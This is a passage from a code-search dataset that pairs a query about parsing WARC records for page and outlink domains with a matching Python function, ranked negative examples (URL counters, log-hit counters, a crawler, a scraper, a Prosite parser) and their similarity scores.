213595","0.4518067","0.4517831"],"string":"[\n \"0.5444572\",\n \"0.5430409\",\n \"0.5317964\",\n \"0.5192848\",\n \"0.51737136\",\n \"0.5160396\",\n \"0.51200193\",\n \"0.5114372\",\n \"0.50979865\",\n \"0.50848365\",\n \"0.50716513\",\n \"0.5044458\",\n \"0.50402385\",\n \"0.5039158\",\n \"0.50273323\",\n \"0.50213903\",\n \"0.5004219\",\n \"0.4995018\",\n \"0.49946946\",\n \"0.499466\",\n \"0.49611056\",\n \"0.49474296\",\n \"0.49446082\",\n \"0.4940936\",\n \"0.4918359\",\n \"0.48882166\",\n \"0.4886001\",\n \"0.48704094\",\n \"0.4865107\",\n \"0.4860073\",\n \"0.48557302\",\n \"0.48508427\",\n \"0.4849797\",\n \"0.48422456\",\n \"0.4837903\",\n \"0.4836884\",\n \"0.482986\",\n \"0.48109025\",\n \"0.4807343\",\n \"0.4804858\",\n \"0.48047537\",\n \"0.48033372\",\n \"0.47912192\",\n \"0.47840226\",\n \"0.47838488\",\n \"0.47745118\",\n \"0.47735068\",\n \"0.47632697\",\n \"0.47574347\",\n \"0.47392952\",\n \"0.47346762\",\n \"0.473058\",\n \"0.4727391\",\n \"0.46858582\",\n \"0.46841928\",\n \"0.46826872\",\n \"0.46826872\",\n \"0.4680143\",\n \"0.46795538\",\n \"0.46765167\",\n \"0.4672887\",\n \"0.46694893\",\n \"0.46649593\",\n \"0.46610838\",\n \"0.4660554\",\n \"0.4652328\",\n \"0.46484974\",\n \"0.46457964\",\n \"0.46362615\",\n \"0.46361184\",\n \"0.46279958\",\n \"0.46256354\",\n \"0.46224838\",\n \"0.46108183\",\n \"0.45996764\",\n \"0.45946148\",\n \"0.45942393\",\n \"0.45898786\",\n \"0.4588946\",\n \"0.45882955\",\n \"0.4587756\",\n \"0.45672613\",\n \"0.45636868\",\n \"0.45634285\",\n \"0.45539054\",\n \"0.45527256\",\n \"0.45496228\",\n \"0.45406562\",\n \"0.45399916\",\n \"0.4539455\",\n \"0.45363674\",\n \"0.45317486\",\n \"0.4529852\",\n \"0.45274082\",\n \"0.4525615\",\n \"0.45246506\",\n \"0.45240998\",\n \"0.45235142\",\n \"0.45213595\",\n \"0.4518067\",\n \"0.4517831\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":14478,"cells":{"query":{"kind":"string","value":"Takes WARC record and returns domain of target URI plus Counter for domains of outlinked pages if these exist."},"document":{"kind":"string","value":"def parse_links(record):\n try:\n page_url = record['WARC-Header-Metadata']['WARC-Target-URI']\n page_domain = urlparse.urlparse(page_url).netloc\n links = record['Payload-Metadata']['HTTP-Response-Metadata']['HTML-Metadata']['Links']\n out_links = Counter([urlparse.urlparse(url['url']).netloc for url in links])\n return (page_domain, out_links)\n except:\n return None"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def count_domains(urls, screen_name, domains):\n\n def add_domain_to_dict(domains, domain_string):\n \"\"\" helper function\"\"\"\n domain = urlparse(unquote(domain_string)).netloc.replace('www.', '')\n domain = domain.split(':')[0]\n try:\n new_domain = get_domain(domain)\n except ValueError:\n with open('erroneous_domains.txt', 'a') as f:\n f.write(domain)\n return domains\n\n if not domains.get(new_domain):\n domains[new_domain] = {}\n domains[new_domain].get(screen_name, {})\n domains[new_domain][screen_name] = domains[new_domain].get(screen_name, 0) + 1\n\n for u in urls:\n long_url = 'http://api.longurl.org/v2/expand'\n params = {'url': u, 'format': 'json'}\n\n r = do_a_request(long_url, params)\n if r is None:\n continue\n \n json = simplejson.loads(r.text)\n r.close()\n if json.has_key('long-url'):\n domain = get_domain(urlparse(u).netloc.replace('www.', ''))\n if json['long-url'] and domain not in json['long-url']:\n add_domain_to_dict(domains, json['long-url'])\n continue\n if json.has_key('messages') and json['messages'] and \\\n json['messages'][0]['message'] == 'Input is oversize: NOT_SHORTURL.':\n add_domain_to_dict(domains, u)\n else:\n request = do_a_request(u)\n if request is None:\n continue\n \n if request.status_code == 200:\n add_domain_to_dict(domains, request.url)\n else:\n with open('log.txt', 'a') as f:\n f.write(u + ',' + screen_name + '\\n')\n request.close()\n\n return domains","def parse_urls(record):\n url_list = []\n try:\n page_url = record['WARC-Header-Metadata']['WARC-Target-URI']\n x = urlparse.urlparse(page_url)\n url_list += [(x.netloc, x.path)]\n except:\n pass\n try: \n links = record['Payload-Metadata']['HTTP-Response-Metadata']['HTML-Metadata']['Links']\n for url in links:\n x = urlparse.urlparse(url['url'])\n url_list += [(x.netloc, x.path)]\n except:\n pass\n \n return url_list","def get_most_surfed_page(records):\n uris = {}\n for r in records:\n if r.code != 408:\n uris[r.uri] = uris.get(r.uri, 0) + 1\n max_req = 0\n max_uri = None\n for k,v in uris.items():\n if v > max_req:\n max_req, max_uri = v, k\n print(max_req)\n return max_uri","def get_hits_by_domain():\n \n #PUT THIS HERE TO TRY AND RUN THE PYTHON SCRIPT AS ROOT, DIDN'T WORK\n uid = pwd.getpwnam('root')[2]\n os.setuid(uid)\n\n #DEFINE VARS\n nlogdir = '/var/log/nginx/'\n alogdir = '/var/log/httpd/'\n hits_by_domain = {}\n\n try:\n #GET NGINX LOGS\n nfiles = [f for f in os.listdir(nlogdir) if re.match(r'^(?!default)(.+access.log)$', f)]\n\n for i, s in enumerate(nfiles):\n nfiles[i] = os.path.join(nlogdir, s)\n\n #GET APACHE LOGS\n afiles = [f for f in os.listdir(alogdir) if re.match(r'^(?!.+_)(.+\\.access.log)$', f)]\n\n for i, s in enumerate(afiles):\n afiles[i] = os.path.join(alogdir, s)\n\n #COUNT NGINX HITS\n for f in nfiles:\n nregex = \"(\"+str(nlogdir)+\")(.+?)(.access.log)\"\n domain = re.search(nregex, f)\n count = 0\n for line in open(f).xreadlines():\n count +=1\n hits_by_domain[domain.group(2)] = count\n\n #COUNT APACHE HITS\n for f in afiles:\n aregex = \"(\"+str(alogdir)+\")(.+?)(.access.log)\"\n domain = re.search(aregex, f)\n count = 0\n for line in open(f).xreadlines():\n count +=1\n hits_by_domain[domain.group(2)] = count\n\n return hits_by_domain\n\n except Exception as e:\n collectd.info(str(e))\n return","def count_by_domain(\n bookmarks: Iterator[sqlite3.Row]\n ) -> Dict[str, int]:\n counts = {}\n\n for bookmark in bookmarks:\n key = bookmark[\"url\"].display_domain\n if key not in counts:\n counts[key] = cherrypy.engine.publish(\n \"bookmarks:domaincount\",\n bookmark[\"url\"]\n ).pop()\n\n return counts","def proxy_ref_info(request):\n ref = request.headers.get('referer')\n if ref:\n _, _, uri = split_url(ref)\n if uri.find(\"/\") < 0:\n return None\n first, rest = uri.split(\"/\", 1)\n if first in \"pd\":\n parts = rest.split(\"/\", 1)\n r = (parts[0], parts[1]) if len(parts) == 2 else (parts[0], \"\")\n print(\"Referred by proxy host, uri: %s, %s\", r[0], r[1])\n return r\n return None","def find_domain_range(record):\n response = {\"domain\": [], \"range\": []}\n if \"http://schema.org/domainIncludes\" in record:\n if isinstance(record[\"http://schema.org/domainIncludes\"], dict):\n response[\"domain\"] = [record[\"http://schema.org/domainIncludes\"][\"@id\"]]\n elif isinstance(record[\"http://schema.org/domainIncludes\"], list):\n response[\"domain\"] = [\n _item[\"@id\"] for _item in record[\"http://schema.org/domainIncludes\"]\n ]\n if \"http://schema.org/rangeIncludes\" in record:\n if isinstance(record[\"http://schema.org/rangeIncludes\"], dict):\n response[\"range\"] = [record[\"http://schema.org/rangeIncludes\"][\"@id\"]]\n elif isinstance(record[\"http://schema.org/rangeIncludes\"], list):\n response[\"range\"] = [\n _item[\"@id\"] for _item in record[\"http://schema.org/rangeIncludes\"]\n ]\n return (response[\"domain\"], response[\"range\"])","def domain_count(self, url: Url) -> int:\n\n sql = \"\"\"SELECT count(*) FROM bookmarks WHERE domain=?\"\"\"\n\n if \"reddit.com\" not in url.domain:\n count = self._selectFirst(sql, (url.domain,))\n else:\n sql += \" AND url LIKE ?\"\n count = self._selectFirst(\n sql,\n (url.domain, f\"%{url.display_domain}%\")\n )\n\n return int(count)","def by_domains(self):\n\t\t\n\t\t# TODO: use urllib instead\n\t\turl_format = r'^\\s*(?:(?P<protocol>\\w+)://)?(?P<domain>[\\w\\d\\-\\.]+)(?::(?P<port>\\d+))?/?(?P<everything_else>.*)$'\n\t\tsites = {}\n\t\tfor line in self.source.lines:\n\t\t\ttry:\n\t\t\t\tif self.filter(line):\n\t\t\t\t\tresult = re.match(url_format, line.content.url)\n\t\t\t\t\tif result.group('domain') not in sites.keys():\n\t\t\t\t\t\tsites[result.group('domain')] = 0\n\t\t\t\t\tsites[result.group('domain')] += int(line.content.size)\n\t\t\texcept AttributeError:\n\t\t\t\tpass\n\t\t\n\t\t# TODO: sort; convert to lists is even better\n\t\t\n\t\treturn sites","def process_response(self, response):\n\n if response.status == 404:\n return set()\n\n # store response HTTP code if not redirect\n if not (response.status == 301 or response.status == 302):\n if response.url not in self.crawled_urls:\n self.crawled_urls[response.url] = response.status\n\n # some colorful printing\n if self.verbose:\n code = str(response.status)\n extra_print = \"\"\n if code[0] == \"2\":\n color = util.GREEN\n elif code[0] == \"3\":\n color = util.BRIGHT_CYAN\n extra_print = (util.BRIGHT_CYAN + \" --> \" + util.SANE +\n response.headers[\"Location\"].decode())\n elif code[0] == \"4\":\n color = util.RED\n elif code[0] == \"5\":\n color = util.MAGENTA\n else:\n color = util.SANE\n print_str = \" [\" + color + str(response.status) + util.SANE + \"] \" + response.url + extra_print\n util.printit(print_str)\n\n # extract cookies and their paths from HTTP response header\n cookie_paths = self.extract_cookies(response.headers.getlist(\"Set-Cookie\"), response.url)\n cookie_urls = set()\n for path in cookie_paths:\n cookie_urls.add(self.to_absolute_url(path, response.urljoin))\n\n\n # use scrapy's lxml linkextractor to extract links / URLs\n scrapy_urls = set()\n try:\n # extract <base> URL's domain if a <base> tag exists\n base_domain = \"\"\n base_tag_sels = response.xpath(\"//base\")\n for base_tag_sel in base_tag_sels:\n href_sels = base_tag_sel.xpath(\"@href\")\n if href_sels:\n href = href_sels.extract_first()\n base_domain = urllib.parse.urlparse(href).netloc\n break\n\n # setup allowed domains and extract new links\n allowed_domains = [self.domain, \"%s:%s\" % (self.domain, self.port)]\n if base_domain:\n allowed_domains.append(base_domain)\n raw_scrapy_links = LinkExtractor(allow_domains=allowed_domains,\n tags=(\"a\", \"area\", \"script\", \"link\", \"source\", \"img\"),\n attrs=(\"src\", \"href\"),\n deny_extensions=set()).extract_links(response)\n raw_scrapy_urls = [link.url for link in raw_scrapy_links]\n\n # copy discovered URLs and additionally insert initial network location\n scrapy_urls = raw_scrapy_urls.copy()\n if base_domain and base_domain != allowed_domains[0] and base_domain != allowed_domains[1]:\n orig_netloc = urllib.parse.urlparse(response.url).netloc\n for scrapy_url in raw_scrapy_urls:\n parsed_scrapy_url = list(urllib.parse.urlsplit(scrapy_url))\n parsed_scrapy_url[1] = orig_netloc\n scrapy_urls.append(urllib.parse.urlunsplit(parsed_scrapy_url))\n scrapy_urls = set(scrapy_urls)\n except (AttributeError, scrapy.exceptions.NotSupported) as e:\n if str(e) == \"Response content isn't text\":\n # stop processing and return no new URLs\n return set()\n raise e\n\n\n # run the different URL / link discovery mechanisms\n linkfinder_urls, dynamic_urls, form_urls, sub_urls = set(), set(), set(), set()\n if self.config[\"use_linkfinder\"].lower() == \"true\":\n linkfinder_urls = self.run_linkfinder(response.text, response.urljoin)\n if self.config[\"use_selenium\"].lower() == \"true\":\n dynamic_urls = self.extract_dynamic_urls(response.url)\n if self.config[\"extract_info_from_forms\"].lower() == \"true\":\n form_data = extract_form_data(response)\n # extract new URLs and HTTP parameters from parsed form data\n form_urls = self.process_form_data(form_data, response.urljoin)\n\n # extract sub URLs, i.e. URLs with parent paths\n sub_urls = extract_sub_urls(response.url)\n\n # extract comments if configured\n if self.config[\"extract_comments\"].lower() == \"true\":\n self.extract_comments(response)\n\n # unite discovered URLs\n urls = set()\n urls |= cookie_urls\n urls |= scrapy_urls\n urls |= linkfinder_urls\n urls |= dynamic_urls\n urls |= form_urls\n urls |= sub_urls\n\n # store info about redirect and add redirect URL to discovered URLs\n if response.status == 301 or response.status == 302:\n location = response.headers[\"Location\"].decode()\n self.redirects[response.url] = {\"code\": response.status, \"to\": location}\n urls.add(self.to_absolute_url(location, response.urljoin))\n\n # process all the discovered URLs, i.e. extract new information and decide which to crawl\n yield_urls = set()\n for url in urls:\n # strip anchor\n if \"#\" in url:\n url = url[:url.rfind(\"#\")]\n\n # replace entities and parse URL\n url = url.replace(\"&\", \"&\")\n url = url.replace(\"&\", \"&\")\n parsed_url = urllib.parse.urlparse(url)\n\n # disregard information about directory listing sorting\n if parsed_url.path.endswith(\"/\") and re.match(\"C=[A-Z];O=[A-Z]\", parsed_url.query):\n continue\n\n # extract GET parameters and cut URL if option is configured\n params = {}\n if parsed_url.query:\n if self.config[\"crawl_parameter_links\"].lower() != \"true\":\n url = \"%s://%s/%s\" % (parsed_url.scheme, parsed_url.netloc, parsed_url.path)\n params = get_query_params(parsed_url.query)\n elif url.endswith(\"?\"):\n url = url[:-1]\n\n # add URL as instance of its path\n if self.url_has_netloc(url) and params:\n self.add_path_instance(parsed_url.path, params, {}, {})\n\n # skip already crawled URLs\n if url in self.found_urls:\n continue\n self.found_urls.add(url)\n\n # skip URLs with different network location\n if not self.url_has_netloc(url):\n continue\n if url == response.url:\n continue\n\n # skip paths that are excluded from crawling\n if self.exclude_paths and url.count(\"/\") > 2:\n check_str = \"/\" + \"/\".join(url.split(\"/\")[3:])\n if any(re_path.match(check_str) for re_path in self.exclude_paths):\n continue\n\n # check whether to add this URL to the to-be-crawled URLs\n if url not in yield_urls:\n # limit the crawling depth\n max_depth = int(self.config[\"max_depth\"])\n if max_depth > 0:\n depth = parsed_url.path.count(\"/\")\n if depth > max_depth:\n continue\n\n # limit the number of times a path can be crawled to avoid endless\n # crawling upon GET parameter variation\n if parsed_url.path not in self.crawled_paths:\n self.crawled_paths[parsed_url.path] = 0\n self.crawled_paths[parsed_url.path] += 1\n if self.crawled_paths[parsed_url.path] > int(self.config[\"max_path_visits\"]):\n continue\n\n yield_urls.add(url)\n\n return yield_urls","def redirect(prefix):\n\tif len(prefix)==2:\n\t\tstart=1000\n\t\tend=9999\n\telif len(prefix)==1:\n\t\tstart=10000\n\t\tend=99999\n\twhile start<end+1:\n\t\tcount=start\n\t\ttry:\n\t\t\turl='http://www.adidas.com/us/adidas-/'+prefix+str(count)+'.html'\n\t\t\treq = urllib2.Request(url)\n\t\t\treq.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/37.0.2062.120 Chrome/37.0.2062.120 Safari/537.36')\n\t\t\treq.add_header('Accept-Language','en-US,en;q=0.8')\n\t\t\treq.add_header('Connection','keep-alive')\n\t\t\treq.add_header('Accept-Encoding','gzip,deflate,sdch')\n\t\t\tres = urllib2.urlopen(req)\n\t\t\tredirectResult = res.geturl()\n\t\t\ttry:\n\t\t\t\tres = urllib2.urlopen(\"http://demandware.edgesuite.net/sits_pod20-adidas/dw/image/v2/aaqx_prd/on/demandware.static/Sites-adidas-US-Site/Sites-adidas-products/en_US/v1460455685655/zoom/\"+prefix+str(count)+\"_01_standard.jpg?sw=500&sfrm=jpg\")\n\t\t\t\tif res.getcode() == 200:\n\t\t\t\t\tprint prefix+str(count)+' - '+redirectResult\t\t\t\t\n\t\t\t\t\turllib.urlretrieve(\"http://demandware.edgesuite.net/sits_pod20-adidas/dw/image/v2/aaqx_prd/on/demandware.static/Sites-adidas-US-Site/Sites-adidas-products/en_US/v1460455685655/zoom/\"+prefix+str(count)+\"_01_standard.jpg?sw=500&sfrm=jpg\", \"images/\"+prefix+str(count)+\".jpg\")\n\t\t\texcept Exception as e:\n\t\t\t\tprint prefix+str(count)+' - '+str(e)\n\t\texcept Exception as e:\n\t\t\t\tprint prefix+str(count)+' - '+str(e)\n\t\tstart+=1","def count_extracted(j_data):\n count = 0\n for record in j_data:\n tmp = {}\n desc = record['lcr_desc'].lower().split('/')\n title = desc[0]\n cat = category(title)\n if cat and 'location' in record:\n count += 1\n return count","def get_unreviewed_redirects(site, namespace=\"0\"):\n result = []\n\n def _submit_and_parse(request):\n \"\"\"Divide the answer to the list of values and continue info.\"\"\"\n answer = request.submit()\n if \"pages\" not in answer[\"query\"]:\n return ([], {})\n values = list(answer[\"query\"][\"pages\"].values())\n if \"query-continue\" in answer:\n contin = answer[\"query-continue\"]\n else:\n contin = {}\n return (values, contin)\n\n kwargs = {\n \"action\": \"query\",\n \"prop\": \"links\",\n \"pllimit\": \"5000\",\n \"generator\": \"unreviewedpages\",\n \"gurnamespace\": namespace,\n \"gurfilterredir\": \"redirects\",\n \"gurlimit\": \"5000\"\n }\n\n while True:\n # iterate for gurstart, get list of redirects\n request = Request(site=site, **kwargs)\n (values, contin) = _submit_and_parse(request)\n chunk = [{\"title\": value[\"title\"], \"links\": []} for value in values]\n\n while True:\n # iterate for plcontinue, get list of links (ie target candidates)\n for key, value in enumerate(values):\n if \"links\" in value:\n chunk[key][\"links\"] += [links[\"title\"] for links in value[\"links\"]]\n if \"links\" in contin:\n request[\"plcontinue\"] = contin[\"links\"][\"plcontinue\"]\n (values, contin) = _submit_and_parse(request)\n continue\n else:\n break\n result += chunk\n\n if \"unreviewedpages\" in contin:\n kwargs[\"gurstart\"] = contin[\"unreviewedpages\"][\"gurstart\"]\n continue\n else:\n break\n\n # filter result: redirects with two or more links aren't any interesting for us\n result = [(x[\"title\"], x[\"links\"][0]) for x in filter(lambda x: len(x[\"links\"]) == 1, result)]\n return result","def extract_page_urls(self, _):\n url = \"https://mossadams.taleo.net/careersection/rest/jobboard/searchjobs?lang=en&portal=4160751617\"\n page_num = 1\n last_count = 0\n this_count = 0\n\n while True:\n last_count = len(self.urls_to_scrape)\n payload = PAYLOAD + '\"pageNo\":' + str(page_num) + \"}\"\n json_data = self.post_request(url, out_format='json', headers=HEADERS, data=payload)\n\n for job in json_data['requisitionList']:\n job_url = \"https://mossadams.taleo.net/careersection/6/jobdetail.ftl?job=\" + job['contestNo']\n self.urls_to_scrape.add(job_url)\n\n # check to see if any new records were scraped; if not, I've reach the end\n this_count = len(self.urls_to_scrape)\n if last_count == this_count:\n break\n else:\n last_count = this_count\n page_num += 1","def count_urls(self):\n return self.request(\"count:Message_Url\", [ None ])","def create_results(self):\n\n webhost_map = {}\n # put the found paths into the webhost map\n self.process_crawled_urls(webhost_map)\n # put the found param infos into the webhost map\n self.process_param_infos(webhost_map)\n # put the found cookies into the webhost map and get as by product new domains\n new_domains = self.process_cookies(webhost_map)\n # get the newly discovered network locations\n new_netlocs = self.get_new_netlocs()\n\n # append new domains to the new network locations\n for new_domain in new_domains:\n if self.port != 80 and self.port != 443:\n new_netlocs.add(new_domains + \":\" + self.port)\n else:\n new_netlocs.add(new_domain)\n\n # process discovered redirects and put into webhost map if appropriate\n for url, redirect in self.redirects.items():\n path = urllib.parse.urlparse(url).path\n if url + \"/\" == redirect[\"to\"]:\n continue\n else:\n if not self.url_has_netloc(redirect[\"to\"]):\n redirect_to = redirect[\"to\"]\n else:\n redirect_to = urllib.parse.urlparse(redirect[\"to\"]).path\n\n code = str(redirect[\"code\"])\n if code not in webhost_map:\n webhost_map[code] = {}\n if path not in webhost_map[code]:\n webhost_map[code][path] = {}\n\n redirect_info = \"redirect to %s\" % redirect_to\n if \"misc_info\" not in webhost_map[code][path]:\n webhost_map[code][path][\"misc_info\"] = redirect_info\n elif not any(val == redirect_info for val in webhost_map[code][path].values()):\n for i in range(10):\n alt_key = \"misc_info_%d\" % i\n if alt_key not in webhost_map[code][path]:\n webhost_map[code][path][alt_key] = redirect_info\n break\n\n return webhost_map, new_netlocs, self.comments","def read_callback(data=None):\n\n hits_by_domain = get_hits_by_domain()\n\n if not hits_by_domain:\n collectd.info('hits_by_domain not collected successfully')\n pass\n else:\n for key in hits_by_domain:\n metric = collectd.Values()\n metric.plugin = 'hits_by_domain'\n metric.type = 'count'\n metric.type_instance = key\n metric.values = [hits_by_domain[key]]\n metric.dispatch()","def queue_domain(event, context):\n\n domain = event['domain']\n fetch_limit = int(os.environ['PAGE_FETCH_LIMIT'])\n if 'limit' in event:\n fetch_limit = int(event['limit'])\n\n index = os.environ['CC_INDEX']\n if 'index' in event:\n index = event['index']\n\n # pull all entries for this domain from index\n indices = list(get_warc_indices_for_domain(domain, index))\n\n # sample returned indices to 'limit' (where they exceed 'limit')\n sampled_indices = indices\n if fetch_limit < len(indices):\n sampled_indices = random.sample(indices, fetch_limit)\n\n # for each sampled index, get stored page text by URL\n lambda_client = boto3.client('lambda')\n\n results = list()\n\n for index in sampled_indices:\n results.append(\n lambda_client.invoke(\n FunctionName='fetch_wet_entry',\n Payload=json.dumps(index),\n InvocationType='Event'\n )\n )\n\n return {\n \"total_index_count\": len(indices),\n \"requested_indices\": sampled_indices\n }","def domain_parser():\n\tinput_handle=\"blast_hits.fasta\"\n\t# File with: (1) the domains of each hit and (2) domains information\n\tdomains= \"domains_hits.txt\"\n\toutput_handle = open(domains, \"w\")\n\toutput_handle.write(\"#This file contains the domains of each hit.\\n#At the bottom, you will find detail information of all the domains detected.\\n\")\n\toutput_handle.write(\"#We strongly recommend to open this file with Visual Studio Code.\\n#Because when the names of the domains are too large, in regular editors the table looks awful.\\n\")\n\toutput_handle.write(\"#Here it is only showed how many times a pattern is present.\\n#In the figure of the domains you will find the position of each domain.\\n\\n\")\n\taccession_list=[] \t# List of prosite.doc accessions of the domains that had been found\n\tdomains_dict=dict() # dictionary that saves matches\n\tcount=1\n\tmax_seq_len=0 # Keep larger sequence to plot x-axe\n\t# Loop to go through hits\n\tfor seq_record in SeqIO.parse(input_handle, \"fasta\"):\n\t\toutput_handle.write(str(seq_record.id)+\"\\n\") # print identifier of the hit\n\t\toutput_handle.write(str(seq_record.seq)+\"\\n\") # print sequence of the hit\n\t\tif len(seq_record.seq)>max_seq_len:\n\t\t\tmax_seq_len=len(seq_record.seq)\n\t\t# Make a table for each hit with the domains, that contains the following fields: name, accession, description and pattern\n\t\tx=PrettyTable()\n\t\tx.field_names=[\"name\",\"accession\",\"description\",\"pattern\",\"repetitions\"]\n\n\t\t# Loop to go through prosite domains\n\t\thandle = open(\"prosite.dat\",\"r\")\n\t\trecords = Prosite.parse(handle)\n\t\tfor record in records:\n\t\t\t# prosite.dat preparation for parsing\n\t\t\t# {} -> [^]\n\t\t\tpattern = record.pattern.upper()\n\t\t\tpattern = pattern.replace(\"{\", \"[^\")\n\t\t\tpattern = pattern.replace(\"}\", \"]\")\t\n\t\t\t# - -> \"\"\n\t\t\tpattern = pattern.replace(\"-\", \"\")\t\n\t\t\t# . -> \"\"\n\t\t\tpattern = pattern.replace(\".\", \"\")\t\n\t\t\t# X|x -> \"[ARNDCQEGHILKMFPSTWYV]\"\n\t\t\tAAS=\"[ARNDCQEGHILKMFPSTWYV]\"\n\t\t\tpattern = pattern.replace(\"x\", AAS)\n\t\t\tpattern = pattern.replace(\"X\", AAS)\t\n\t\t\t# () -> {}\n\t\t\tpattern = pattern.replace(\"(\", \"{\")\n\t\t\tpattern = pattern.replace(\")\", \"}\")\t\n\n\t\t\t# >] -> ]?$\n\t\t\tpattern = pattern.replace(\">]\", \"]?$\")\t\n\n\t\t\t# < -> ^\n\t\t\t# > -> $\n\t\t\tpattern = pattern.replace(\"<\", \"^\")\t\n\t\t\tpattern = pattern.replace(\">\", \"$\")\t\n\t\t\tif pattern != \"\":\n\t\t\t\t# Look if the hit contains the current patter\n\t\t\t\tif re.search(r\"\"+str(pattern), str(seq_record.seq).upper()): # if found\n\t\t\t\t\tif record.pdoc not in accession_list:\n\t\t\t\t\t\t# Save pdoc accession in the list of prosite.doc accessions\n\t\t\t\t\t\t# if it is not already\n\t\t\t\t\t\taccession_list.append(record.pdoc)\n\t\t\t\t\tmatches = re.finditer(r\"\"+str(pattern), str(seq_record.seq).upper())\n\t\t\t\t\treps=0\n\t\t\t\t\tfor match in matches: # save all matches in a dictionary to plot them later\n\t\t\t\t\t\tdomains_dict[count]=[seq_record.id, len(seq_record.seq),record.name,match.start(),match.end()]\n\t\t\t\t\t\tcount=count+1\n\t\t\t\t\t\treps=reps+1\n\t\t\t\t\tx.add_row([record.name,record.accession,record.description,record.pattern, reps]) # add found domain to table\n\n\t\toutput_handle.write(str(x)+\"\\n\") # add table of hit to domains_hits.txt\n\n\t# At the end of the tables, print information of all the domains that had been found\n\toutput_handle.write(\"\\n\")\n\trecord_text_list=DocParser(accession_list)\n\tfor text in record_text_list:\n\t\toutput_handle.write(text)\n\treturn (domains_dict,max_seq_len,accession_list)","def extract_urls(genome):\n itemid = genome.get('metadata').get('identifier')\n urls = set([url for url in genome['urls'] if 'archive.org' not in url])\n db_urls_found(itemid, urls)","def get_domain_of_page(page_url):\r\n db = connect()\r\n cursor = db.cursor()\r\n sql_statement = \"\"\"\r\n SELECT on_progress_domains.url\r\n FROM on_progress_pages INNER JOIN on_progress_domains ON on_progress_pages.domain_id = on_progress_domains.domain_id\r\n WHERE on_progress_pages.page_url = %(d)s\r\n \"\"\"\r\n try:\r\n cursor.execute(sql_statement, {'d':page_url})\r\n page = cursor.fetchone()\r\n except:\r\n cursor.close()\r\n db.close()\r\n raise RuntimeError(\"An Exception happened with the Database, make sure you are connected\")\r\n cursor.close()\r\n db.close()\r\n return page","def report_domain():\n req_data = request.get_json()\n\n # is authentication token correct?\n\n try:\n auth_token = Token.query.filter_by(auth_token=request.headers.get('Authorization')).first()\n except:\n return {\"alternatives\" : \"Database Error with token!\"}\n if not auth_token:\n return {\"alternatives\": \"Unauthorized!\"}\n\n now = datetime.datetime.now()\n\n # Have we seen this domain before?\n try:\n domain = Domain.query.filter_by(domain=req_data['domain']).first()\n except:\n return {\"report\" : \"Database Error with domain query!\"}\n\n if domain: # we've seen it before\n domain_id = domain.id\n # Have we seen the mirror before?\n try:\n mirror = Mirror.query.filter_by(mirror_url=req_data['mirror_url']).first()\n except:\n return {\"report\" : \"Database Error with mirror query!\"}\n if mirror:\n mirror_id = mirror.id\n else:\n mirror = False\n else: # Let's add it\n try:\n domain = Domain(domain=req_data['domain'])\n db.session.add(domain)\n db.session.commit()\n except:\n return {\"report\" : \"Database Error with mirror addition!\"}\n domain_id = domain.id\n mirror = False # No domain, no mirror\n \n # Add mirror\n if not mirror:\n mirror = Mirror(\n mirror_url=req_data['mirror_url'],\n domain_id=domain_id)\n try:\n db.session.add(mirror)\n db.session.commit()\n except:\n return {\"report\" : \"Database Error with mirror addition!\"}\n mirror_id = mirror.id\n\n # check values for lat/long/accuracy\n try:\n float(req_data['latitude'])\n except ValueError:\n req_data['latitude'] = None\n \n try:\n float(req_data['longitude'])\n except ValueError:\n req_data['longitude'] = None\n try:\n int(req_data['accuracy'])\n except ValueError:\n req_data['accuracy'] = None\n\n # Make the report\n req_data['auth_token'] = auth_token.auth_token\n req_data['date_reported'] = now\n req_data['domain_id'] = domain_id\n req_data['mirror_id'] = mirror_id\n req_data.pop('domain')\n req_data.pop('mirror_url')\n try:\n report = Report(**req_data)\n db.session.add(report)\n db.session.commit()\n except:\n return {\"report\" : \"Database Error with report!\"}\n\n\n return {\"report\": \"Successfully reported.\"}","def process_url(self, url):\n LogParser.increment_count(self.urls, url)","def orphaned_pages(self):\n linked = set()\n total = {p for p in self.storage}\n for doc in self.index.run_query(self.name, query.Every('has_links'), limit=10000):\n for link in doc['links'].split():\n link = link.split(':', 1)[0]\n linked.add(link.replace('%20', ' '))\n return sorted(total - linked)","def _findRedirect(self, page):\n htmlRes = [('koreascience', re.compile(\"<script>location.href='(.+)'</script>\"))]\n for domainTag, htmlRe in htmlRes:\n if domainTag not in page['url']:\n continue\n logging.debug('redirect: domain match')\n match = htmlRe.search(page['data'])\n if match != None:\n url = match.group(1)\n url = urlparse.urljoin(page['url'], url)\n logging.debug('redirect: found URL %s' % url)\n page = self._httpGetDelay(url, 1)\n page = parseHtmlLinks(page)\n\n return page","def crawler(website_url):\n\n try:\n\n # open and read the website\n pageFile = urllib2.urlopen(website_url)\n pageHtml = pageFile.read()\n pageFile.close()\n\n # call BeautifulSoup on an array of lines in string format\n soup = BeautifulSoup(\"\".join(pageHtml), \"html.parser\")\n # print soup.prettify()[0:1000]\n\n # find all links with hashtag cat, limit to 100 results\n # FIXME add hashtag cat requirement (string = \"#cat\")\n pageLinks = soup.findAll(\"a\", {\"href\": True}, limit=100)\n # import pdb; pdb.set_trace()\n page_URLs = []\n\n for pageLink in pageLinks:\n pageLink = pageLink['href']\n\n # if URL does not have a domain, add the main page's domain'\n if pageLink[0] == '/' and pageLink[:1] != '//':\n pageLink = website_url + pageLink\n\n # check if item in db, if not - add to db and commit\n existing_page = session.query(Page).filter_by(page_URL=pageLink).first()\n\n # add to array of link strings\n page_URLs.append(pageLink)\n\n if not existing_page:\n page_URL = Page(page_URL=pageLink)\n session.add(page_URL)\n session.commit()\n\n # import pdb; pdb.set_trace()\n return page_URLs\n\n except urllib2.URLError as e:\n # exception handling for URLError\n if hasattr(e, 'reason'):\n print \"We failed to reach a server.\"\n print \"Reason: \", e.reason\n # exception handling for HTTPError\n elif hasattr(e, 'code'):\n print 'The server couldn\\'t fulfill the request.'\n print 'Error code; ', e.code\n else:\n print 'Everything is fine.'","def get_domain_id_by_domainurl(domain_url):\r\n db = connect()\r\n cursor = db.cursor()\r\n sql_statement = \"\"\"\r\n SELECT domain_id FROM `domains` WHERE domain_url = %(d)s\r\n \"\"\"\r\n try:\r\n 